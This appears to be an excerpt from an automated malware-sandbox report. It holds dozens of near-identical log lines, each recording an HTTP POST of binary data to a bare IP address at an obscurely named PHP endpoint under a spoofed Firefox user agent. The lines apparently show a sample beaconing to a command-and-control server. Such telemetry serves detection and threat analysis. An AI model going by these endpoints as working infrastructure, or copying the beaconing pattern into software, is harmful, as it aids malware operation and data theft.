                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1856Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1856Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
